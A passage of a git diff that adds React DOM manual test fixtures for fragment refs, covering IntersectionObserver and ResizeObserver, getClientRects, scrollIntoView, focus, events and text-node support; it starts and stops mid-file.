+          <div style={{marginBottom: '4px'}}>
+            <strong>Node Name:</strong> {rootNodeInfo.nodeName}
+          </div>
+          <div style={{marginBottom: '4px'}}>
+            <strong>Node Type:</strong> {rootNodeInfo.nodeType} (
+            {rootNodeInfo.nodeTypeLabel})
+          </div>
+          <div>
+            <strong>Is Document:</strong>{' '}
+            {rootNodeInfo.isDocument ? 'Yes' : 'No'}
+          </div>
+        </div>
+      )}
+
+      <div
+        style={{
+          padding: '12px',
+          border: '1px dashed #ccc',
+          borderRadius: '4px',
+          backgroundColor: '#fff',
+        }}>
+        <Fragment ref={fragmentRef}>{children}</Fragment>
+      </div>
+    </Fragment>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/IntersectionObserverCase.js b/fixtures/dom/src/components/fixtures/fragment-refs/IntersectionObserverCase.js
new file mode 100644
index 000000000000..057e94d09ac1
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/IntersectionObserverCase.js
@@ -0,0 +1,155 @@
+import TestCase from '../../TestCase';
+import Fixture from '../../Fixture';
+
+const React = window.React;
+const {Fragment, useEffect, useRef, useState} = React;
+
+function WrapperComponent(props) {
+  return props.children;
+}
+
+function ObservedChild({id}) {
+  return (
+    <div id={id} className="observable-card">
+      {id}
+    </div>
+  );
+}
+
+const initialItems = [
+  ['A', false],
+  ['B', false],
+  ['C', false],
+];
+
+export default function IntersectionObserverCase() {
+  const fragmentRef = useRef(null);
+  const [items, setItems] = useState(initialItems);
+  const addedItems = items.slice(3);
+  const anyOnScreen = items.some(([, onScreen]) => onScreen);
+  const observerRef = useRef(null);
+
+  useEffect(() => {
+    if (observerRef.current === null) {
+      observerRef.current = new IntersectionObserver(
+        entries => {
+          setItems(prev => {
+            const newItems = [...prev];
+            entries.forEach(entry => {
+              const index = newItems.findIndex(
+                ([id]) => id === entry.target.id
+              );
+              newItems[index] = [entry.target.id, entry.isIntersecting];
+            });
+            return newItems;
+          });
+        },
+        {
+          threshold: [0.5],
+        }
+      );
+    }
+    fragmentRef.current.observeUsing(observerRef.current);
+
+    const lastFragmentRefValue = fragmentRef.current;
+    return () => {
+      lastFragmentRefValue.unobserveUsing(observerRef.current);
+      observerRef.current = null;
+    };
+  }, []);
+
+  return (
+    <TestCase title="Intersection Observer">
+      <TestCase.Steps>
+        <li>
+          Scroll the children into view, observe the sidebar appears and shows
+          which children are in the viewport
+        </li>
+        <li>
+          Add a new child and observe that the Intersection Observer is applied
+        </li>
+        <li>
+          Click Unobserve and observe that the state of children in the viewport
+          is no longer updated
+        </li>
+        <li>
+          Click Observe and observe that the state of children in the viewport
+          is updated again
+        </li>
+      </TestCase.Steps>
+
+      <TestCase.ExpectedResult>
+        <p>
+          Fragment refs manage Intersection Observers on the first level of host
+          children. This page loads with an effect that sets up an Inersection
+          Observer applied to each child card.
+        </p>
+        <p>
+          New child nodes will also have the observer applied. Removed nodes
+          will be unobserved.
+        </p>
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <button
+            onClick={() => {
+              setItems(prev => [
+                ...prev,
+                [`Extra child: ${prev.length + 1}`, false],
+              ]);
+            }}>
+            Add Child
+          </button>
+          <button
+            onClick={() => {
+              setItems(prev => {
+                if (prev.length === 3) {
+                  return prev;
+                }
+                return prev.slice(0, prev.length - 1);
+              });
+            }}>
+            Remove Child
+          </button>
+          <button
+            onClick={() => {
+              fragmentRef.current.observeUsing(observerRef.current);
+            }}>
+            Observe
+          </button>
+          <button
+            onClick={() => {
+              fragmentRef.current.unobserveUsing(observerRef.current);
+              setItems(prev => {
+                return prev.map(item => [item[0], false]);
+              });
+            }}>
+            Unobserve
+          </button>
+          {anyOnScreen && (
+            <div className="fixed-sidebar card-container">
+              <p>
+                <strong>Children on screen:</strong>
+              </p>
+              {items.map(item => (
+                <div className={`card ${item[1] ? 'onscreen' : null}`}>
+                  {item[0]}
+                </div>
+              ))}
+            </div>
+          )}
+        </Fixture.Controls>
+        <Fragment ref={fragmentRef}>
+          <ObservedChild id="A" />
+          <WrapperComponent>
+            <ObservedChild id="B" />
+          </WrapperComponent>
+          <ObservedChild id="C" />
+          {addedItems.map((_, index) => (
+            <ObservedChild id={`Extra child: ${index + 4}`} />
+          ))}
+        </Fragment>
+      </Fixture>
+    </TestCase>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/PrintRectsFragmentContainer.js b/fixtures/dom/src/components/fixtures/fragment-refs/PrintRectsFragmentContainer.js
new file mode 100644
index 000000000000..a084932a512d
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/PrintRectsFragmentContainer.js
@@ -0,0 +1,126 @@
+const React = window.React;
+const {Fragment, useRef, useState} = React;
+
+const colors = [
+  '#e74c3c',
+  '#3498db',
+  '#2ecc71',
+  '#9b59b6',
+  '#f39c12',
+  '#1abc9c',
+];
+
+export default function PrintRectsFragmentContainer({children}) {
+  const fragmentRef = useRef(null);
+  const [rects, setRects] = useState([]);
+
+  const getRects = () => {
+    const rectsResult = fragmentRef.current.getClientRects();
+    setRects(Array.from(rectsResult));
+  };
+
+  const getColor = index => colors[index % colors.length];
+
+  return (
+    <Fragment>
+      <div style={{marginBottom: '16px'}}>
+        <button
+          onClick={getRects}
+          style={{
+            padding: '8px 16px',
+            fontSize: '14px',
+            fontWeight: 'bold',
+            cursor: 'pointer',
+          }}>
+          Print Rects
+        </button>
+        {rects.length > 0 && (
+          <span style={{marginLeft: '12px', color: '#666'}}>
+            Found {rects.length} rect{rects.length !== 1 ? 's' : ''}
+          </span>
+        )}
+      </div>
+
+      <div style={{display: 'flex', gap: '20px', marginBottom: '16px'}}>
+        <div
+          style={{
+            position: 'relative',
+            width: '30vw',
+            height: '30vh',
+            border: '1px solid #ccc',
+            backgroundColor: '#fafafa',
+            borderRadius: '4px',
+            overflow: 'hidden',
+          }}>
+          {rects.length === 0 && (
+            <div
+              style={{
+                position: 'absolute',
+                top: '50%',
+                left: '50%',
+                transform: 'translate(-50%, -50%)',
+                color: '#999',
+                fontSize: '14px',
+              }}>
+              Click button to visualize rects
+            </div>
+          )}
+          {rects.map(({x, y, width, height}, index) => {
+            const scale = 0.3;
+            const color = getColor(index);
+
+            return (
+              <div
+                key={index}
+                style={{
+                  position: 'absolute',
+                  top: y * scale,
+                  left: x * scale,
+                  width: width * scale,
+                  height: height * scale,
+                  border: `2px solid ${color}`,
+                  backgroundColor: `${color}22`,
+                  boxSizing: 'border-box',
+                  borderRadius: '2px',
+                }}
+              />
+            );
+          })}
+        </div>
+
+        <div style={{flex: 1, fontSize: '13px', fontFamily: 'monospace'}}>
+          {rects.map(({x, y, width, height}, index) => {
+            const color = getColor(index);
+            return (
+              <div
+                key={index}
+                style={{
+                  padding: '6px 10px',
+                  marginBottom: '4px',
+                  backgroundColor: '#f5f5f5',
+                  borderLeft: `3px solid ${color}`,
+                  borderRadius: '2px',
+                }}>
+                <span style={{color: '#666'}}>#{index}</span>{' '}
+                <span style={{color: '#333'}}>
+                  x: {Math.round(x)}, y: {Math.round(y)}, w: {Math.round(width)}
+                  , h: {Math.round(height)}
+                </span>
+              </div>
+            );
+          })}
+        </div>
+      </div>
+
+      <div
+        style={{
+          padding: '12px',
+          border: '1px dashed #ccc',
+          borderRadius: '4px',
+          backgroundColor: '#fff',
+        }}>
+        <Fragment ref={fragmentRef}>{children}</Fragment>
+      </div>
+    </Fragment>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/ResizeObserverCase.js b/fixtures/dom/src/components/fixtures/fragment-refs/ResizeObserverCase.js
new file mode 100644
index 000000000000..ecacd5092137
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/ResizeObserverCase.js
@@ -0,0 +1,63 @@
+import TestCase from '../../TestCase';
+import Fixture from '../../Fixture';
+
+const React = window.React;
+const {Fragment, useEffect, useRef, useState} = React;
+
+export default function ResizeObserverCase() {
+  const fragmentRef = useRef(null);
+  const [width, setWidth] = useState([0, 0, 0]);
+
+  useEffect(() => {
+    const resizeObserver = new window.ResizeObserver(entries => {
+      if (entries.length > 0) {
+        setWidth(prev => {
+          const newWidth = [...prev];
+          entries.forEach(entry => {
+            const index = parseInt(entry.target.id, 10);
+            newWidth[index] = Math.round(entry.contentRect.width);
+          });
+          return newWidth;
+        });
+      }
+    });
+
+    fragmentRef.current.observeUsing(resizeObserver);
+    const lastFragmentRefValue = fragmentRef.current;
+    return () => {
+      lastFragmentRefValue.unobserveUsing(resizeObserver);
+    };
+  }, []);
+
+  return (
+    <TestCase title="Resize Observer">
+      <TestCase.Steps>
+        <li>Resize the viewport width until the children respond</li>
+        <li>See that the width data updates as they elements resize</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        The Fragment Ref has a ResizeObserver attached which has a callback to
+        update the width state of each child node.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fragment ref={fragmentRef}>
+          <div className="card" id="0" style={{width: '100%'}}>
+            <p>
+              Width: <b>{width[0]}px</b>
+            </p>
+          </div>
+          <div className="card" id="1" style={{width: '80%'}}>
+            <p>
+              Width: <b>{width[1]}px</b>
+            </p>
+          </div>
+          <div className="card" id="2" style={{width: '50%'}}>
+            <p>
+              Width: <b>{width[2]}px</b>
+            </p>
+          </div>
+        </Fragment>
+      </Fixture>
+    </TestCase>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCase.js b/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCase.js
new file mode 100644
index 000000000000..e08b9ec50fe9
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCase.js
@@ -0,0 +1,184 @@
+import TestCase from '../../TestCase';
+import Fixture from '../../Fixture';
+import ScrollIntoViewCaseComplex from './ScrollIntoViewCaseComplex';
+import ScrollIntoViewCaseSimple from './ScrollIntoViewCaseSimple';
+import ScrollIntoViewTargetElement from './ScrollIntoViewTargetElement';
+
+const React = window.React;
+const {Fragment, useRef, useState, useEffect} = React;
+const ReactDOM = window.ReactDOM;
+
+function Controls({
+  alignToTop,
+  setAlignToTop,
+  scrollVertical,
+  exampleType,
+  setExampleType,
+}) {
+  return (
+    <div>
+      <label>
+        Example Type:
+        <select
+          value={exampleType}
+          onChange={e => setExampleType(e.target.value)}>
+          <option value="simple">Simple</option>
+          <option value="multiple">Multiple Scroll Containers</option>
+          <option value="horizontal">Horizontal</option>
+          <option value="empty">Empty Fragment</option>
+        </select>
+      </label>
+      <div>
+        <label>
+          Align to Top:
+          <input
+            type="checkbox"
+            checked={alignToTop}
+            onChange={e => setAlignToTop(e.target.checked)}
+          />
+        </label>
+      </div>
+      <div>
+        <button onClick={scrollVertical}>scrollIntoView()</button>
+      </div>
+    </div>
+  );
+}
+
+export default function ScrollIntoViewCase() {
+  const [exampleType, setExampleType] = useState('simple');
+  const [alignToTop, setAlignToTop] = useState(true);
+  const [caseInViewport, setCaseInViewport] = useState(false);
+  const fragmentRef = useRef(null);
+  const testCaseRef = useRef(null);
+  const noChildRef = useRef(null);
+  const scrollContainerRef = useRef(null);
+
+  const scrollVertical = () => {
+    fragmentRef.current.scrollIntoView(alignToTop);
+  };
+
+  const scrollVerticalNoChildren = () => {
+    noChildRef.current.scrollIntoView(alignToTop);
+  };
+
+  useEffect(() => {
+    const observer = new IntersectionObserver(entries => {
+      entries.forEach(entry => {
+        if (entry.isIntersecting) {
+          setCaseInViewport(true);
+        } else {
+          setCaseInViewport(false);
+        }
+      });
+    });
+    testCaseRef.current.observeUsing(observer);
+
+    const lastRef = testCaseRef.current;
+    return () => {
+      lastRef.unobserveUsing(observer);
+      observer.disconnect();
+    };
+  });
+
+  return (
+    <Fragment ref={testCaseRef}>
+      <TestCase title="ScrollIntoView">
+        <TestCase.Steps>
+          <li>Toggle alignToTop and click the buttons to scroll</li>
+        </TestCase.Steps>
+        <TestCase.ExpectedResult>
+          <p>When the Fragment has children:</p>
+          <p>
+            In order to handle the case where children are split between
+            multiple scroll containers, we call scrollIntoView on each child in
+            reverse order.
+          </p>
+          <p>When the Fragment does not have children:</p>
+          <p>
+            The Fragment still represents a virtual space. We can scroll to the
+            nearest edge by selecting the host sibling before if
+            alignToTop=false, or after if alignToTop=true|undefined. We'll fall
+            back to the other sibling or parent in the case that the preferred
+            sibling target doesn't exist.
+          </p>
+        </TestCase.ExpectedResult>
+        <Fixture>
+          <Fixture.Controls>
+            <Controls
+              alignToTop={alignToTop}
+              setAlignToTop={setAlignToTop}
+              scrollVertical={scrollVertical}
+              exampleType={exampleType}
+              setExampleType={setExampleType}
+            />
+          </Fixture.Controls>
+          {exampleType === 'simple' && (
+            <Fragment ref={fragmentRef}>
+              <ScrollIntoViewCaseSimple />
+            </Fragment>
+          )}
+          {exampleType === 'horizontal' && (
+            <div
+              style={{
+                display: 'flex',
+                overflowX: 'auto',
+                flexDirection: 'row',
+                border: '1px solid #ccc',
+                padding: '1rem 10rem',
+                marginBottom: '1rem',
+                width: '100%',
+                whiteSpace: 'nowrap',
+                justifyContent: 'space-between',
+              }}>
+              <Fragment ref={fragmentRef}>
+                <ScrollIntoViewCaseSimple />
+              </Fragment>
+            </div>
+          )}
+          {exampleType === 'multiple' && (
+            <Fragment>
+              <div
+                style={{
+                  height: '50vh',
+                  overflowY: 'auto',
+                  border: '1px solid black',
+                  marginBottom: '1rem',
+                }}
+                ref={scrollContainerRef}
+              />
+              <Fragment ref={fragmentRef}>
+                <ScrollIntoViewCaseComplex
+                  caseInViewport={caseInViewport}
+                  scrollContainerRef={scrollContainerRef}
+                />
+              </Fragment>
+            </Fragment>
+          )}
+          {exampleType === 'empty' && (
+            <Fragment>
+              <ScrollIntoViewTargetElement
+                color="lightyellow"
+                id="ABOVE EMPTY FRAGMENT"
+              />
+              <Fragment ref={fragmentRef}></Fragment>
+              <ScrollIntoViewTargetElement
+                color="lightblue"
+                id="BELOW EMPTY FRAGMENT"
+              />
+            </Fragment>
+          )}
+          <Fixture.Controls>
+            <Controls
+              alignToTop={alignToTop}
+              setAlignToTop={setAlignToTop}
+              scrollVertical={scrollVertical}
+              exampleType={exampleType}
+              setExampleType={setExampleType}
+            />
+          </Fixture.Controls>
+        </Fixture>
+      </TestCase>
+    </Fragment>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCaseComplex.js b/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCaseComplex.js
new file mode 100644
index 000000000000..a0ea612d09c4
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCaseComplex.js
@@ -0,0 +1,50 @@
+import ScrollIntoViewTargetElement from './ScrollIntoViewTargetElement';
+
+const React = window.React;
+const {Fragment, useRef, useState, useEffect} = React;
+const ReactDOM = window.ReactDOM;
+
+export default function ScrollIntoViewCaseComplex({
+  caseInViewport,
+  scrollContainerRef,
+}) {
+  const [didMount, setDidMount] = useState(false);
+  // Hack to portal child into the scroll container
+  // after the first render. This is to simulate a case where
+  // an item is portaled into another scroll container.
+  useEffect(() => {
+    if (!didMount) {
+      setDidMount(true);
+    }
+  }, []);
+  return (
+    <Fragment>
+      {caseInViewport && (
+        <div
+          style={{position: 'fixed', top: 0, backgroundColor: 'red'}}
+          id="header">
+          Fixed header
+        </div>
+      )}
+      {didMount &&
+        ReactDOM.createPortal(
+          <ScrollIntoViewTargetElement color="red" id="FROM_PORTAL" />,
+          scrollContainerRef.current
+        )}
+      <ScrollIntoViewTargetElement color="lightgreen" id="A" />
+      <ScrollIntoViewTargetElement color="lightcoral" id="B" />
+      <ScrollIntoViewTargetElement color="lightblue" id="C" />
+      {caseInViewport && (
+        <div
+          style={{
+            position: 'fixed',
+            bottom: 0,
+            backgroundColor: 'purple',
+          }}
+          id="footer">
+          Fixed footer
+        </div>
+      )}
+    </Fragment>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCaseSimple.js b/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCaseSimple.js
new file mode 100644
index 000000000000..ee61cd16290f
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewCaseSimple.js
@@ -0,0 +1,14 @@
+import ScrollIntoViewTargetElement from './ScrollIntoViewTargetElement';
+
+const React = window.React;
+const {Fragment} = React;
+
+export default function ScrollIntoViewCaseSimple() {
+  return (
+    <Fragment>
+      <ScrollIntoViewTargetElement color="lightyellow" id="SCROLLABLE-1" />
+      <ScrollIntoViewTargetElement color="lightpink" id="SCROLLABLE-2" />
+      <ScrollIntoViewTargetElement color="lightcyan" id="SCROLLABLE-3" />
+    </Fragment>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewTargetElement.js b/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewTargetElement.js
new file mode 100644
index 000000000000..f61668c5cf52
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/ScrollIntoViewTargetElement.js
@@ -0,0 +1,18 @@
+const React = window.React;
+
+export default function ScrollIntoViewTargetElement({color, id, top}) {
+  return (
+    <div
+      id={id}
+      style={{
+        height: 500,
+        minWidth: 300,
+        backgroundColor: color,
+        marginTop: top ? '50vh' : 0,
+        marginBottom: 100,
+        flexShrink: 0,
+      }}>
+      {id}
+    </div>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/TextNodesCase.js b/fixtures/dom/src/components/fixtures/fragment-refs/TextNodesCase.js
new file mode 100644
index 000000000000..c6a359ac8878
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/TextNodesCase.js
@@ -0,0 +1,470 @@
+import TestCase from '../../TestCase';
+import Fixture from '../../Fixture';
+import PrintRectsFragmentContainer from './PrintRectsFragmentContainer';
+import CompareDocumentPositionFragmentContainer from './CompareDocumentPositionFragmentContainer';
+import EventFragmentContainer from './EventFragmentContainer';
+import GetRootNodeFragmentContainer from './GetRootNodeFragmentContainer';
+
+const React = window.React;
+const {Fragment, useRef, useState} = React;
+
+function GetClientRectsTextOnly() {
+  return (
+    <TestCase title="getClientRects - Text Only">
+      <TestCase.Steps>
+        <li>Click the "Print Rects" button</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        The fragment contains only text nodes. getClientRects should return
+        bounding rectangles for the text content using the Range API.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <PrintRectsFragmentContainer>
+            This is text content inside a fragment with no element children.
+          </PrintRectsFragmentContainer>
+        </Fixture.Controls>
+      </Fixture>
+    </TestCase>
+  );
+}
+
+function GetClientRectsMixed() {
+  return (
+    <TestCase title="getClientRects - Mixed Content">
+      <TestCase.Steps>
+        <li>Click the "Print Rects" button</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        The fragment contains both text nodes and elements. getClientRects
+        should return bounding rectangles for both text content (via Range API)
+        and elements.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <PrintRectsFragmentContainer>
+            Text before the span.
+            <span
+              style={{
+                display: 'inline-block',
+                padding: '5px 10px',
+                backgroundColor: 'lightblue',
+                border: '1px solid blue',
+                margin: '0 5px',
+              }}>
+              Element
+            </span>
+            Text after the span.
+            <div
+              style={{
+                width: '500px',
+                height: '50px',
+                backgroundColor: 'lightpink',
+                border: '1px solid black',
+              }}></div>
+            More text at the end.
+          </PrintRectsFragmentContainer>
+        </Fixture.Controls>
+      </Fixture>
+    </TestCase>
+  );
+}
+
+function FocusTextOnlyNoop() {
+  const fragmentRef = useRef(null);
+  const [message, setMessage] = useState('');
+
+  const tryFocus = () => {
+    fragmentRef.current.focus();
+    setMessage('Called focus() - no-op for text-only fragments');
+  };
+
+  const tryFocusLast = () => {
+    fragmentRef.current.focusLast();
+    setMessage('Called focusLast() - no-op for text-only fragments');
+  };
+
+  return (
+    <TestCase title="focus/focusLast - Text Only (No-op)">
+      <TestCase.Steps>
+        <li>Click either focus button</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        Calling focus() or focusLast() on a fragment with only text children is
+        a no-op. Nothing happens and no warning is logged. This is because text
+        nodes cannot receive focus.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <button onClick={tryFocus}>focus()</button>
+          <button onClick={tryFocusLast}>focusLast()</button>
+          {message && (
+            <div style={{marginTop: '10px', color: '#666'}}>{message}</div>
+          )}
+        </Fixture.Controls>
+        <div
+          style={{
+            padding: '20px',
+            backgroundColor: '#f5f5f5',
+            border: '1px solid #ddd',
+          }}>
+          <Fragment ref={fragmentRef}>
+            This fragment contains only text. Text nodes are not focusable.
+          </Fragment>
+        </div>
+      </Fixture>
+    </TestCase>
+  );
+}
+
+function ScrollIntoViewTextOnly() {
+  const fragmentRef = useRef(null);
+  const [message, setMessage] = useState('');
+
+  const tryScrollIntoView = alignToTop => {
+    fragmentRef.current.scrollIntoView(alignToTop);
+    setMessage(
+      `Called scrollIntoView(${alignToTop}) - page should scroll to text`
+    );
+  };
+
+  return (
+    <TestCase title="scrollIntoView - Text Only">
+      <TestCase.Steps>
+        <li>Scroll down the page so the text fragment is not visible</li>
+        <li>Click one of the scrollIntoView buttons</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        The page should scroll to bring the text content into view. With
+        alignToTop=true, the text should appear at the top of the viewport. With
+        alignToTop=false, it should appear at the bottom. This uses the Range
+        API to calculate text node positions.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <button onClick={() => tryScrollIntoView(true)}>
+            scrollIntoView(true)
+          </button>
+          <button onClick={() => tryScrollIntoView(false)}>
+            scrollIntoView(false)
+          </button>
+          {message && (
+            <div style={{marginTop: '10px', color: 'green'}}>{message}</div>
+          )}
+        </Fixture.Controls>
+        <div
+          style={{
+            marginTop: '100vh',
+            marginBottom: '100vh',
+            padding: '20px',
+            backgroundColor: '#f0fff0',
+            border: '1px solid #cfc',
+          }}>
+          <Fragment ref={fragmentRef}>
+            This fragment contains only text. The scrollIntoView method uses the
+            Range API to calculate the text position and scroll to it.
+          </Fragment>
+        </div>
+      </Fixture>
+    </TestCase>
+  );
+}
+
+function ScrollIntoViewMixed() {
+  const fragmentRef = useRef(null);
+  const [message, setMessage] = useState('');
+
+  const tryScrollIntoView = alignToTop => {
+    fragmentRef.current.scrollIntoView(alignToTop);
+    setMessage(
+      `Called scrollIntoView(${alignToTop}) - page should scroll to fragment`
+    );
+  };
+
+  const targetStyle = {
+    height: 300,
+    marginBottom: 50,
+    display: 'flex',
+    alignItems: 'center',
+    justifyContent: 'center',
+    fontSize: '24px',
+    fontWeight: 'bold',
+  };
+
+  return (
+    <TestCase title="scrollIntoView - Mixed Content">
+      <TestCase.Steps>
+        <li>Scroll down the page so the fragment is not visible</li>
+        <li>Click one of the scrollIntoView buttons</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        The fragment contains raw text nodes (not wrapped in elements) and
+        elements in alternating order. With alignToTop=true, scroll starts from
+        the last child and works backwards, ending with the first text node at
+        the top. With alignToTop=false, scroll starts from the first child and
+        works forward, ending with the last text node at the bottom. Text nodes
+        use the Range API for scrolling.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <button onClick={() => tryScrollIntoView(true)}>
+            scrollIntoView(true)
+          </button>
+          <button onClick={() => tryScrollIntoView(false)}>
+            scrollIntoView(false)
+          </button>
+          {message && (
+            <div style={{marginTop: '10px', color: 'green'}}>{message}</div>
+          )}
+        </Fixture.Controls>
+        <div
+          style={{
+            marginTop: '100vh',
+            marginBottom: '100vh',
+            whiteSpace: 'pre-wrap',
+            lineHeight: '2',
+          }}>
+          <Fragment ref={fragmentRef}>
+            TEXT NODE 1 - This is a raw text node at the start of the fragment
+            <div style={{...targetStyle, backgroundColor: 'lightyellow'}}>
+              ELEMENT 1
+            </div>
+            TEXT NODE 2 - This is a raw text node between elements
+            <div style={{...targetStyle, backgroundColor: 'lightpink'}}>
+              ELEMENT 2
+            </div>
+            TEXT NODE 3 - This is a raw text node between elements
+            <div style={{...targetStyle, backgroundColor: 'lightcyan'}}>
+              ELEMENT 3
+            </div>
+            TEXT NODE 4 - This is a raw text node at the end of the fragment
+          </Fragment>
+        </div>
+      </Fixture>
+    </TestCase>
+  );
+}
+
+function CompareDocumentPositionTextNodes() {
+  return (
+    <TestCase title="compareDocumentPosition - Text Only">
+      <TestCase.Steps>
+        <li>Click the "Compare All Positions" button</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        compareDocumentPosition should work correctly even when the fragment
+        contains only text nodes. The "Before" element should be PRECEDING the
+        fragment, and the "After" element should be FOLLOWING.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <CompareDocumentPositionFragmentContainer>
+            This is text-only content inside the fragment.
+          </CompareDocumentPositionFragmentContainer>
+        </Fixture.Controls>
+      </Fixture>
+    </TestCase>
+  );
+}
+
+function ObserveTextOnlyWarning() {
+  const fragmentRef = useRef(null);
+  const [message, setMessage] = useState('');
+
+  const tryObserve = () => {
+    setMessage('Called observeUsing() - check console for warning');
+    const observer = new IntersectionObserver(() => {});
+    fragmentRef.current.observeUsing(observer);
+  };
+
+  return (
+    <TestCase title="observeUsing - Text Only Warning">
+      <TestCase.Steps>
+        <li>Open the browser console</li>
+        <li>Click the observeUsing button</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        A warning should appear in the console because IntersectionObserver
+        cannot observe text nodes. The warning message should indicate that
+        observeUsing() was called on a FragmentInstance with only text children.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <button onClick={tryObserve}>
+            observeUsing(IntersectionObserver)
+          </button>
+          {message && (
+            <div style={{marginTop: '10px', color: 'orange'}}>{message}</div>
+          )}
+        </Fixture.Controls>
+        <div
+          style={{
+            padding: '20px',
+            backgroundColor: '#fff0f0',
+            border: '1px solid #fcc',
+          }}>
+          <Fragment ref={fragmentRef}>
+            This fragment contains only text. Text nodes cannot be observed.
+          </Fragment>
+        </div>
+      </Fixture>
+    </TestCase>
+  );
+}
+
+function EventTextOnly() {
+  return (
+    <TestCase title="Event Operations - Text Only">
+      <TestCase.Steps>
+        <li>
+          Click "Add event listener" to attach a click handler to the fragment
+        </li>
+        <li>Click "Dispatch click event" to dispatch a click event</li>
+        <li>Observe that the fragment's event listener fires</li>
+        <li>Click "Remove event listener" and dispatch again</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        Event operations (addEventListener, removeEventListener, dispatchEvent)
+        work on fragments with text-only content. The event is dispatched on the
+        fragment's parent element since text nodes cannot be event targets.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <EventFragmentContainer>
+            This fragment contains only text. Events are handled via the parent.
+          </EventFragmentContainer>
+        </Fixture.Controls>
+      </Fixture>
+    </TestCase>
+  );
+}
+
+function EventMixed() {
+  return (
+    <TestCase title="Event Operations - Mixed Content">
+      <TestCase.Steps>
+        <li>
+          Click "Add event listener" to attach a click handler to the fragment
+        </li>
+        <li>Click "Dispatch click event" to dispatch a click event</li>
+        <li>Observe that the fragment's event listener fires</li>
+        <li>Click directly on the element or text content to see bubbling</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        Event operations work on fragments with mixed text and element content.
+        dispatchEvent forwards to the parent element. Clicks on child elements
+        or text bubble up through the DOM as normal.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <EventFragmentContainer>
+            Text node before element.
+            <span
+              style={{
+                display: 'inline-block',
+                padding: '5px 10px',
+                margin: '0 5px',
+                backgroundColor: 'lightblue',
+                border: '1px solid blue',
+              }}>
+              Element
+            </span>
+            Text node after element.
+          </EventFragmentContainer>
+        </Fixture.Controls>
+      </Fixture>
+    </TestCase>
+  );
+}
+
+function GetRootNodeTextOnly() {
+  return (
+    <TestCase title="getRootNode - Text Only">
+      <TestCase.Steps>
+        <li>Click the "Get Root Node" button</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        getRootNode should return the root of the DOM tree containing the
+        fragment's text content. For a fragment in the main document, this
+        should return the Document node.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <GetRootNodeFragmentContainer>
+            This fragment contains only text. getRootNode returns the document.
+          </GetRootNodeFragmentContainer>
+        </Fixture.Controls>
+      </Fixture>
+    </TestCase>
+  );
+}
+
+function GetRootNodeMixed() {
+  return (
+    <TestCase title="getRootNode - Mixed Content">
+      <TestCase.Steps>
+        <li>Click the "Get Root Node" button</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        getRootNode should return the root of the DOM tree for fragments with
+        mixed text and element content. The result is the same whether checking
+        from text nodes or element nodes within the fragment.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <GetRootNodeFragmentContainer>
+            Text before element.
+            <span
+              style={{
+                display: 'inline-block',
+                padding: '5px 10px',
+                margin: '0 5px',
+                backgroundColor: 'lightyellow',
+                border: '1px solid #cc0',
+              }}>
+              Element
+            </span>
+            Text after element.
+          </GetRootNodeFragmentContainer>
+        </Fixture.Controls>
+      </Fixture>
+    </TestCase>
+  );
+}
+
+export default function TextNodesCase() {
+  return (
+    <TestCase title="Text Node Support">
+      <TestCase.ExpectedResult>
+        <p>
+          This section demonstrates how various FragmentInstance methods work
+          with text nodes.
+        </p>
+        <p>
+          <strong>Supported:</strong> getClientRects, compareDocumentPosition,
+          scrollIntoView, getRootNode, addEventListener, removeEventListener,
+          dispatchEvent
+        </p>
+        <p>
